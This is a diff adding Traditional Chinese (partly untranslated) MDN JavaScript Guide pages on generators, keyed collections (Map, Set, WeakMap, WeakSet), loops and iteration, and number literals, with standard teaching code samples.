+<pre class="brush: js">for (let value of ['a', 'b', 'c']) {
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[...'abc']; // ["a", "b", "c"]
+
+function* gen() {
+  yield* ['a', 'b', 'c'];
+}
+
+gen().next(); // { value: "a", done: false }
+
+[a, b, c] = new Set(['a', 'b', 'c']);
+a; // "a"
+
+</pre>
+
+<h2 id="Advanced_generators">Advanced generators</h2>
+
+<p>Generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute, or even infinite sequences as demonstrated above.</p>
+
+<p>The {{jsxref("Global_Objects/Generator/next","next()")}} method also accepts a value which can be used to modify the internal state of the generator. A value passed to <code>next()</code> will be treated as the result of the last <code>yield</code> expression that paused the generator.</p>
+
+<p>Here is the fibonacci generator using <code>next(x)</code> to restart the sequence:</p>
+
+<pre class="brush: js">function* fibonacci() {
+  var fn1 = 0;
+  var fn2 = 1;
+  while (true) {
+    var current = fn1;
+    fn1 = fn2;
+    fn2 = current + fn1;
+    var reset = yield current;
+    if (reset) {
+        fn1 = 0;
+        fn2 = 1;
+    }
+  }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value);     // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3
+console.log(sequence.next().value);     // 5
+console.log(sequence.next().value);     // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2</pre>
+
+<p>You can force a generator to throw an exception by calling its {{jsxref("Global_Objects/Generator/throw","throw()")}} method and passing the exception value it should throw. This exception will be thrown from the current suspended context of the generator, as if the <code>yield</code> that is currently suspended were instead a <code>throw <em>value</em></code> statement.</p>
+
+<p>If the exception is not caught from within the generator,  it will propagate up through the call to <code>throw()</code>, and subsequent calls to <code>next()</code> will result in the <code>done</code> property being <code>true</code>.</p>
+
+<p>Generators have a {{jsxref("Global_Objects/Generator/return","return(value)")}} method that returns the given value and finishes the generator itself.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Using_promises", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/keyed_collections/index.html b/files/zh-tw/web/javascript/guide/keyed_collections/index.html
new file mode 100644
index 0000000000..ef0fa369dc
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/keyed_collections/index.html
@@ -0,0 +1,156 @@
+---
+title: 鍵值集合
+slug: Web/JavaScript/Guide/Keyed_collections
+tags:
+  - Collections
+  - Guide
+  - JavaScript
+  - Map
+  - set
+translation_of: Web/JavaScript/Guide/Keyed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</div>
+
+<p class="summary">本章介紹用 “key” 來整理的資料集合 ; Map 和 Set objects 相當於多個可重複的元素依照插入順序進行排序。</p>
+
+<h2 id="Maps">Maps</h2>
+
+<h3 id="Map_object"><code>Map</code> object</h3>
+
+<p>ECMAScript 2015 引進了新的資料結構用以映射變量至變量。A {{jsxref("Map")}} object is a simple key/value map and can iterate its elements in insertion order</p>
+
+<p>The following code shows some basic operations with a <code>Map</code>. See also the {{jsxref("Map")}} reference page for more examples and the complete API. You can use a {{jsxref("Statements/for...of","for...of")}} loop to return an array of <code>[key, value]</code> for each iteration.</p>
+
+<pre class="brush: js">var sayings = new Map();
+sayings.set('dog', 'woof');
+sayings.set('cat', 'meow');
+sayings.set('elephant', 'toot');
+sayings.size; // 3
+sayings.get('fox'); // undefined
+sayings.has('bird'); // false
+sayings.delete('dog');
+sayings.has('dog'); // false
+
+for (var [key, value] of sayings) {
+  console.log(key + ' goes ' + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+
+sayings.clear();
+sayings.size; // 0
+</pre>
+
+<h3 id="Object_and_Map_compared"><code>Object</code> and <code>Map</code> compared</h3>
+
+<p>Traditionally, {{jsxref("Object", "objects", "", 1)}} have been used to map strings to values. Objects allow you to set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. <code>Map</code> objects, however, have a few more advantages that make them better maps.</p>
+
+<ul>
+ <li>The keys of an <code>Object</code> are {{jsxref("Global_Objects/String","Strings")}}, where they can be of any value for a <code>Map</code>.</li>
+ <li>You can get the size of a <code>Map</code> easily while you have to manually keep track of size for an <code>Object</code>.</li>
+ <li>The iteration of maps is in insertion order of the elements.</li>
+ <li>An <code>Object</code> has a prototype, so there are default keys in the map. (this can be bypassed using <code>map = Object.create(null)</code>).</li>
+</ul>
+
+<p>These three tips can help you to decide whether to use a <code>Map</code> or an <code>Object</code>:</p>
+
+<ul>
+ <li>Use maps over objects when keys are unknown until run time, and when all keys are the same type and all values are the same type.</li>
+ <li>Use maps in case if there is a need to store primitive values as keys because object treats each key as a string whether it's a number value, boolean value or any other primitive value.</li>
+ <li>Use objects when there is logic that operates on individual elements.</li>
+</ul>
+
+<h3 id="WeakMap_object"><code>WeakMap</code> object</h3>
+
+<p>The {{jsxref("WeakMap")}} object is a collection of key/value pairs in which the <strong>keys are objects only</strong> and the values can be arbitrary values. The object references in the keys are held <em>weakly</em>, meaning that they are a target of garbage collection (GC) if there is no other reference to the object anymore. The <code>WeakMap</code> API is the same as the <code>Map</code> API.</p>
+
+<p>One difference to <code>Map</code> objects is that <code>WeakMap</code> keys are not enumerable (i.e., there is no method giving you a list of the keys). If they were, the list would depend on the state of garbage collection, introducing non-determinism.</p>
+
+<p>For more information and example code, see also "Why <em>Weak</em>Map?" on the {{jsxref("WeakMap")}} reference page.</p>
+
+<p>One use case of <code>WeakMap</code> objects is to store private data for an object or to hide implementation details. The following example is from Nick Fitzgerald's blog post <a href="http://fitzgeraldnick.com/weblog/53/">"Hiding Implementation Details with ECMAScript 6 WeakMaps"</a>. The private data and methods belong inside the object and are stored in the <code>privates</code> WeakMap object. Everything exposed on the instance and prototype is public; everything else is inaccessible from the outside world because <code>privates</code> is not exported from the module</p>
+
+<pre class="brush: js">const privates = new WeakMap();
+
+function Public() {
+  const me = {
+    // Private data goes here
+  };
+  privates.set(this, me);
+}
+
+Public.prototype.method = function() {
+  const me = privates.get(this);
+  // Do stuff with private data in `me`...
+};
+
+module.exports = Public;
+</pre>
+
+<h2 id="Sets">Sets</h2>
+
+<h3 id="Set_object"><code>Set</code> object</h3>
+
+<p>{{jsxref("Set")}} objects 是變數的集合。 You can iterate its elements in insertion order. A value in a <code>Set</code> may only occur once; it is unique in the <code>Set</code>'s collection.</p>
+
+<p>The following code shows some basic operations with a <code>Set</code>. See also the {{jsxref("Set")}} reference page for more examples and the complete API.</p>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add('some text');
+mySet.add('foo');
+
+mySet.has(1); // true
+mySet.delete('foo');
+mySet.size; // 2
+
+for (let item of mySet) console.log(item);
+// 1
+// "some text"
+</pre>
+
+<h3 id="Array_和_Set_之間的相互轉換">Array 和 Set 之間的相互轉換</h3>
+
+<p>You can create an {{jsxref("Array")}} from a Set using {{jsxref("Array.from")}} or the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>. Also, the <code>Set</code> constructor accepts an <code>Array</code> to convert in the other direction. Note again that <code>Set</code> objects store unique values, so any duplicate elements from an Array are deleted when converting.</p>
+
+<pre class="brush: js">Array.from(mySet);
+[...mySet2];
+
+mySet2 = new Set([1, 2, 3, 4]);
+</pre>
+
+<h3 id="比較_Array_和_Set"><code>比較 Array</code> 和 <code>Set</code> </h3>
+
+<p>Traditionally, a set of elements has been stored in arrays in JavaScript in a lot of situations. The new <code>Set</code> object, however, has some advantages:</p>
+
+<ul>
+ <li>Checking whether an element exists in a collection using {{jsxref("Array.indexOf", "indexOf")}} for arrays is slow.</li>
+ <li><code>Set</code> objects let you delete elements by their value. With an array you would have to splice based on an element's index.</li>
+ <li>The value {{jsxref("NaN")}} cannot be found with <code>indexOf</code> in an array.</li>
+ <li><code>Set</code> objects store unique values; you don't have to keep track of duplicates by yourself.</li>
+</ul>
+
+<h3 id="WeakSet_object"><code>WeakSet</code> object</h3>
+
+<p>{{jsxref("WeakSet")}} objects are collections of objects. An object in the <code>WeakSet</code> may only occur once; it is unique in the <code>WeakSet</code>'s collection and objects are not enumerable.</p>
+
+<p>The main differences to the {{jsxref("Set")}} object are:</p>
+
+<ul>
+ <li>In contrast to <code>Sets</code>, <code>WeakSets</code> are <strong>collections of objects only</strong> and not of arbitrary values of any type.</li>
+ <li>The <code>WeakSet</code> is <em>weak</em>: References to objects in the collection are held weakly. If there is no other reference to an object stored in the <code>WeakSet</code>, they can be garbage collected. That also means that there is no list of current objects stored in the collection. <code>WeakSets</code> are not enumerable.</li>
+</ul>
+
+<p>The use cases of <code>WeakSet</code> objects are limited. They will not leak memory so it can be safe to use DOM elements as a key and mark them for tracking purposes, for example.</p>
+
+<h2 id="Key_and_value_equality_of_Map_and_Set">Key and value equality of <code>Map</code> and <code>Set</code></h2>
+
+<p>Both the key equality of <code>Map</code> objects and the value equality of <code>Set</code> objects, are based on the "<a href="https://tc39.github.io/ecma262/#sec-samevaluezero">same-value-zero algorithm</a>":</p>
+
+<ul>
+ <li>Equality works like the identity comparison operator <code>===</code>.</li>
+ <li><code>-0</code> and <code>+0</code> are considered equal.</li>
+ <li>{{jsxref("NaN")}} is considered equal to itself (contrary to <code>===</code>).</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/loops_and_iteration/index.html b/files/zh-tw/web/javascript/guide/loops_and_iteration/index.html
new file mode 100644
index 0000000000..ca913c3d2e
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/loops_and_iteration/index.html
@@ -0,0 +1,337 @@
+---
+title: Loops and iteration
+slug: Web/JavaScript/Guide/Loops_and_iteration
+tags:
+  - JavaScript
+  - Loop
+  - 教學
+  - 迴圈
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">迴圈提供一個快速又簡潔的方法來重複地做某件事。這個章節的<a href="/zh-TW/docs/Web/JavaScript/Guide">JavaScript教學</a>會介紹在JavaScript可以使用的幾種不同的迭代陳述式。 </p>
+
+<p>你可以將迴圈想成一個電腦版本的"往一個方向走X步，然後往另一個方向走Y步"的遊戲；作為範例，"往東走五步"可以用這個方法用迴圈表示：</p>
+
+<pre class="brush: js">var step;
+for (step = 0; step &lt; 5; step++) {
+  // 執行五次：從step為0到4
+  console.log('Walking east one step');
+}
+</pre>
+
+<p>有很多種不同種類的迴圈， 不過他們本質上都是做一樣的事：把一件動作重複地做一定的次數（而且也有可能做0次）。 各式各樣的迴圈機制提供了不同的方法來定義該迴圈的起始與結束。有些不同的情況下使用其中一種迴圈會比使用別種容易許多。</p>
+
+<p>在javaScript中提供的迴圈陳述式分別為：</p>
+
+<ul>
+ <li>{{anch("for 陳述式")}}</li>
+ <li>{{anch("do...while 陳述式")}}</li>
+ <li>{{anch("while 陳述式")}}</li>
+ <li>{{anch("label 陳述式")}}</li>
+ <li>{{anch("break 陳述式")}}</li>
+ <li>{{anch("continue 陳述式")}}</li>
+ <li>{{anch("for...in 陳述式")}}</li>
+ <li>{{anch("for...of 陳述式")}}</li>
+</ul>
+
+<h2 id="for_陳述式"><code>for </code>陳述式</h2>
+
+<p>一個<a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for">for迴圈</a>不斷重複直到一個指定的條件式判斷為false。JavaScript的for迴圈跟Java還有C的for迴圈很相似。一個for陳述式看起來像下面這樣：</p>
+
+<pre class="syntaxbox">for ([初始表達式]; [條件式]; [遞增表達式])
+  陳述式
+</pre>
+
+<p>當執行一個for迴圈時，會發生以下：</p>
+
+<ol>
+ <li>如果有的話，初始表達式會被執行。這個表達式通常會初始化一或多個迴圈計數器，但是語法允許任何程度的複雜性。這個表達式也能用來宣告變數。</li>
+ <li>條件式會被評估。如果評估出的值為true，迴圈的敘事式便會執行。如果評估出的值為false，這個for迴圈便會中止。如果條件式被省略了，狀態就會被假設是true。</li>
+ <li>執行敘事式。要執行多個敘事式時，使用區塊敘事式(<code>{ ... }</code>) 來把那些敘事式歸為一組。</li>
+ <li>如果有更新表達式的遞增表達式便執行。然後return到第二步。</li>
+</ol>
+
+<h3 id="範例"><strong>範例</strong></h3>
+
+<p>以下的函式包含一個用來數在一個滾動列表中被選過的選項(a {{HTMLElement("select")}} 允許複數選項的元素)的for陳述式 。這個for敘事式宣告了變數 i 並將其初始化為0。 他檢查 i ，如果 i 少於在&lt;select&gt;元素中的選項數量，進行接著的 if陳述式，並將 i 在每次通過迴圈後遞增。</p>
+
+<pre class="brush: html">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Choose some music types, then click the button below:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="How many are selected?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+  var numberSelected = 0;
+  for (var i = 0; i &lt; selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      numberSelected++;
+    }
+  }
+  return numberSelected;
+}
+
+var btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+  alert('Number of options selected: ' + howMany(document.selectForm.musicTypes))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="do...while_陳述式"><code>do...while</code> 陳述式</h2>
+
+<p><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> </code><code>陳述式會不斷重複直到一個特定的條件判斷為false。一個do...while 陳述式看起來像以下：</code></p>
+
+<pre class="syntaxbox">do
+  陳述式
+while (條件式);
+</pre>
+
+<p><code>陳述式會在檢查條件式以前先執行一次。要執行多個陳述式的話，使用區塊陳述式來將那些陳述式歸為一組。如果條件式為true，那陳述式便再次執行。在每次執行的最後，條件會被檢查。當條件式為false時，</code> 停止執行並把控制傳給 <code>do...while接著的陳述式。</code></p>
+
+<h3 id="範例_2"><strong>範例</strong></h3>
+
+<p>在下列範例中，do迴圈重複了至少一次並不斷重複直到 i 不再比 5 少。</p>
+
+<pre class="brush: js">var i = 0;
+do {
+  i += 1;
+  console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="while_陳述式"><code>while</code> 陳述式</h2>
+
+<p><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/while">while</a></code> 陳述式會不斷執行它的陳述式只要指定的條件式判斷為true。一個while陳述式看起來如下：</p>
+
+<pre class="syntaxbox">while (condition)
+  statement
+</pre>
+
+<p>如果條件式變成 false ，在迴圈中的陳述式會停止執行並控制交給跟在這個迴圈後面的陳述式。</p>
+
+<p>條件式的測試發生於迴圈內的陳述式執行之前。如果條件式傳回 true ，陳述式便會被執行而判斷式會再被測試一次。如果條件式傳回 false ，停止執行並把控制交給跟在 while 迴圈後面的陳述式。</p>
+
+<p><code>要執行多個陳述式的話，使用區塊陳述式來將那些陳述式歸為一組。</code></p>
+
+<h3 id="範例_1"><strong>範例 1</strong></h3>
+
+<p>以下的while迴圈在只要n比3少的情況下便會不斷重複：</p>
+
+<pre class="brush: js">var n = 0;
+var x = 0;
+while (n &lt; 3) {
+  n++;
+  x += n;
+}
+</pre>
+
+<p>在每次的疊代，迴圈把 n 遞增並將其值加到 x 上。因此，x 跟 n 的值會是下列情況：</p>
+
+<ul>
+ <li>經過第一次迴圈後 <code>n</code> = 1 而 <code>x</code> = 1</li>
+ <li>經過第二次迴圈後 <code>n</code> = 2 而 <code>x</code> = 3</li>
+ <li>經過第三次迴圈後 <code>n</code> = 3 而 <code>x</code> = 6</li>
+</ul>
+
+<p>在完成第三次迴圈後，判斷是 n&lt;3 不再是 true ，所以迴圈終止。</p>
+
+<h3 id="範例_2_2"><strong>範例 2</strong></h3>
+
+<p>避免無限迴圈。確定在迴圈內的判斷式終究會變成 false； 不然迴圈會永遠不終止。在迴圈內的陳述式會永遠的執行因為判斷式永遠不會變成false：</p>
+
+<pre class="brush: js">while (true) {
+  console.log("Hello, world");
+}</pre>
+
+<h2 id="label_陳述式"><code>label</code> 陳述式</h2>
+
+<p> <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/label">label</a> 提供一個有識別字的陳述式讓你能在程式的別的地方參考。舉個例子，你能使用label 來識別一個迴圈，然後使用break或continue陳述式來指示何時程式該中斷迴圈或是繼續他的執行。</p>
+
+<p>label 陳述式的語法看起來如下：</p>
+
+<pre class="syntaxbox">label :
+   statement
+</pre>
+
+<p>Label的值可以是任何不是保留字的JavaScript識別字。你用label所識別的陳述式可以是任何陳述式。</p>
+
+<h3 id="範例_3"><strong>範例</strong></h3>
+
+<p>在這個範例，<code>markLoop這個label 識別一個while 迴圈。</code></p>
+
+<pre class="brush: js">markLoop:
+while (theMark == true) {
+   doSomething();
+}</pre>
+
+<h2 id="break_陳述式"><code>break</code> 陳述式</h2>
+
+<p><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/break">break</a></code> 陳述式是用來終止一個迴圈，一個switch多重控制選項，或是和一個label陳述式聯合使用。</p>
+
+<ul>
+ <li>當你在沒有label的情況下使用break，它會馬上終止最內部的 while , do-while , for ,或是 switch 區間並將控制交給接下來的陳述式。</li>
+ <li>當你跟label一起使用的時候，它會終止那個特定的被label的陳述式。</li>
+</ul>
+
+<p>break 陳述式的語法看起來如下：</p>
+
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break <em>label</em>;</code></li>
+</ol>
+
+<p>第一種語法會終止最內部的迴圈或switch區間；第二種語法會終止那個特定的label陳述式。</p>
+
+<h3 id="範例_1_2"><strong>範例</strong> <strong>1</strong></h3>
+
+<p>以下的範例會不斷重複跑迴圈直到有在陣列裡的元素符合 theValue 的值：</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; a.length; i++) {
+  if (a[i] == theValue) {
+    break;
+  }
+}</pre>
+
+<h3 id="範例_2_Break至一個label陳述式"><strong>範例 2: </strong>Break至一個label陳述式</h3>
+
+<pre class="brush: js">var x = 0;
+var z = 0;
+labelCancelLoops: while (true) {
+  console.log("Outer loops: " + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log("Inner loops: " + z);
+    z += 1;
+    if (z === 10 &amp;&amp; x === 10) {
+      break labelCancelLoops;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}
+</pre>
+
+<h2 id="continue_陳述式"><code>continue</code> 陳述式</h2>
+
+<p><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/continue">continue</a></code> 陳述式可以用於重新開始一個 while , do-while, for, 或 label 陳述式。</p>
+
+<ul>
+ <li>當你在沒有label的情況下使用continue，它會終止現在最內部while, do-while , for陳述式區間的迭代並繼續執行該迴圈的下一個迭代。跟break陳述式不同的是，continue不會把整個迴圈的執行給終止。在while 迴圈中，它會跳回條件式的判斷。在for迴圈中，它會跳至遞增陳述式。</li>
+ <li>當contunue跟label一起使用的時候，它會應用至被label識別的那個迴圈陳述式。</li>
+</ul>
+
+<p>continue 陳述式的語法看起來如下：</p>
+
+<ol>
+ <li><code>continue;</code></li>
+ <li><code>continue </code><em><code>label;</code></em></li>
+</ol>
+
+<h3 id="範例_1_3"><strong>範例 1</strong></h3>
+
+<p>以下的範例有while迴圈以及一個在 i 的值為 3 的時候執行的continue陳述式。因此，n的值會連著是 1, 3, 7, 12。</p>
+
+<pre class="brush: js">var i = 0;
+var n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i == 3) {
+    continue;
+  }
+  n += i;
+}
+</pre>
+
+<h3 id="範例_2_3"><strong>範例 2</strong></h3>
+
+<p>一個被label成 checkiandj 的陳述式包還著一個被label成 checkj 的陳述式。如果遇到了continue，程式會終止現在的這輪迴圈並開始下一輪。每次遇到continue，checkj就會一直重複直到它的條件式返回false。當false被傳回時，checkiandj 陳述式剩下的陳述式已被完成，而checkiandj 也會繼續重複直到它的條件式傳回 false。當false被傳回，程式會繼續進行接著checkiandj後面的陳述式。</p>
+
+<p>如果continue有了checkiandj的label 程式會從checkiandj陳述式的頭開始繼續。</p>
+
+<pre class="brush: js">checkiandj:
+  while (i &lt; 4) {
+    console.log(i);
+    i += 1;
+    checkj:
+      while (j &gt; 4) {
+        console.log(j);
+        j -= 1;
+        if ((j % 2) == 0) {
+          continue checkj;
+        }
+        console.log(j + " is odd.");
+      }
+      console.log("i = " + i);
+      console.log("j = " + j);
+  }</pre>
+
+<h2 id="for...in_陳述式"><code>for...in</code> 陳述式</h2>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> 陳述式重複一個指定的變數來循環一個物件所有可枚舉的屬性。至於每個獨特的屬性，JavaScript執行特定的陳述式。一個<code>for...in</code> 陳述式看起來像以下：</p>
+
+<pre class="syntaxbox">for (variable in object) {
+  statements
+}
+</pre>
+
+<h3 id="範例_4"><strong>範例</strong></h3>
+
+<p>以下的函式透過它的參數得到一個物件和物件的名字。接著它循環這個物件的所有屬性並傳回一個列出屬性名和值的字串。</p>
+
+<pre class="brush: js">function dump_props(obj, obj_name) {
+  var result = "";
+  for (var i in obj) {
+    result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+  }
+  result += "&lt;hr&gt;";
+  return result;
+}
+</pre>
+
+<p>對於一個擁有make跟model屬性的物件 car來說，執行結果是：</p>
+
+<pre class="brush: js">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="陣列"><strong>陣列</strong></h3>
+
+<p>雖然用for...in來迭代 {{jsxref("Array")}} 元素很吸引人，但是它傳回的除了數字的索引之外還有可能是你自己定的屬性名。因此還是用帶有數字索引的傳統<code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for">for</a>迴圈來迭帶一個陣列會比較好。因為如果你想改變陣列物件，比如增加屬性或是方法，</code><strong>for...in</strong> 陳述式迭代的是自定的屬性而不是陣列的元素。</p>
+
+<h2 id="for...of_陳述式"><code>for...of</code> 陳述式</h2>
+
+<p> <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> 陳述式在<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Guide/iterable">iterable objects</a>(可迭代的物件)上建立了一個循環 (包含 {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a>(參數) 物件 等等), 對每個獨特屬性的值使用一個準備被執行的有陳述式的自訂迭代掛勾。</p>
+
+<pre class="syntaxbox">for (<em>variable</em> of <em>object</em>) {
+  <em>statement
+</em>}</pre>
+
+<p>下列的範例可看出<code>for...of</code> 迴圈跟 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> 迴圈的差別。 <code>for...in</code> 在屬性名字循環，而<code>for...of</code> 在屬性的值循環。</p>
+
+<pre class="brush:js">let arr = [3, 5, 7];
+arr.foo = "hello";
+
+for (let i in arr) {
+   console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+   console.log(i); // logs 3, 5, 7
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/numbers_and_dates/index.html b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.html
new file mode 100644
index 0000000000..88ed75fd3e
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.html
@@ -0,0 +1,383 @@
+---
+title: 數字與日期
+slug: Web/JavaScript/Guide/Numbers_and_dates
+translation_of: Web/JavaScript/Guide/Numbers_and_dates
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</div>
+
+<p class="summary">這個章節將介紹如何在 JavaScript 中處理數字與日期。</p>
+
+<h2 id="數字Numbers">數字(Numbers)</h2>
+
+<p>在 JavaScript 中, Number所使用的標準依照 <a class="external external-icon" href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">double-precision 64-bit binary format IEEE 754</a> (i.e. number的區間是 -(2<sup>53</sup> -1) 到 2<sup>53</sup> -1)。<strong>整數是沒有特定的類型</strong>。</p>
+
+<p>此外還可以顯示浮點數，三種符號數值: <code>+</code>{{jsxref("Infinity")}}， <code>-</code>{{jsxref("Infinity")}}， and {{jsxref("NaN")}} (not-a-number)。</p>
+
+<p>{{jsxref("BigInt")}} 是Javascript最新的功能，它可以表示一個很大的整數。使用 <code>BigInt需要注意一點</code>，<code>BigInt</code> 和{{jsxref("Number")}}不能在同一個operation混用還有當用 {{jsxref("Math")}} 物件時不能使用<code>BigInt</code>。</p>
+
+<p>請參照 <a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types and structures</a> 來取得更多詳細資料。</p>
+
+<p>你可以用四種進制表示數字：十進制 (decimal)，二進制 (binary)，八進制 (octal) 以及十六進制 (hexadecimal)。</p>
+
+<h3 id="十進制數值">十進制數值</h3>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// 以零為開頭時要小心：
+
+0888 // 888 解析為 十進制數值
+0777 // 在 non-strict 模式下將解析成八進制 (等同於十進制的 511)
+</pre>
+
+<p>請注意，十進位數字允許第一個數字設為零(<code>0</code>)的話，前提是後面接的數字必須要有一個數字大於8(例如輸入0888結果會是888，輸入068結果會是68)，不然則會被轉成８進位(例如0777結果會是511，輸入063結果會是51)。</p>
+
+<h3 id="二進制數值">二進制數值</h3>
+
+<p>二進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「B」 (<code>0b</code> 或 <code>0B</code>)。如果 <code>0b</code> 後面接著的數字不是 0 或 1，那會丟出 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError(語法錯誤)</a></code>: "Missing binary digits after 0b"。</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h3 id="八進制數值">八進制數值</h3>
+
+<p>八進制數值以 0 為開頭。如果 <code>0</code> 後面的數字超出 0 到 7 這個範圍，將會被解析成十進制數值。</p>
+
+<pre class="brush: js notranslate">var n = 0755; // 493
+var m = 0644; // 420
+</pre>
+
+<p>Strict mode in ECMAScript 5 forbids octal syntax. Octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: <code>0644 === 420</code> and<code>"\045" === "%"</code>. In ECMAScript 2015, octal numbers are supported if they are prefixed with <code>0o</code>, e.g.: </p>
+
+<pre class="brush: js notranslate">var a = 0o10; // ES2015: 8
+</pre>
+
+<h3 id="十六進制數值">十六進制數值</h3>
+
+<p>十六進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「X」(<code>0x</code> 或 <code>0X</code>)。如果 <code>0b</code> 後面接著的值超出範圍 (0123456789ABCDEF)，那會丟出 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError(語法錯誤)</a></code>:"Identifier starts immediately after numeric literal"。</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h3 id="指數運算">指數運算</h3>
+
+<pre class="brush: js notranslate">1E3   // 1000
+2e6   // 2000000
+0.1e2 // 10</pre>
+
+<h2 id="Number_物件"><code>Number</code> 物件</h2>
+
+<p>The built-in {{jsxref("Number")}} object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows:</p>
+
+<pre class="brush: js notranslate">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<p>You always refer to a property of the predefined <code>Number</code> object as shown above, and not as a property of a <code>Number</code> object you create yourself.</p>
+
+<p>下面這張表格整理了 <code>Number</code> 物件的屬性</p>
+
+<p><code style="font-weight: 700;">Number</code><strong style="font-style: inherit; font-weight: 700;"> 的屬性</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">屬性</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.MAX_VALUE")}}</td>
+   <td>可表示的最大數值</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_VALUE")}}</td>
+   <td>可表示的最小數值</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NaN")}}</td>
+   <td>表示「非數值」（Not-A-Number）的數值</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NEGATIVE_INFINITY")}}</td>
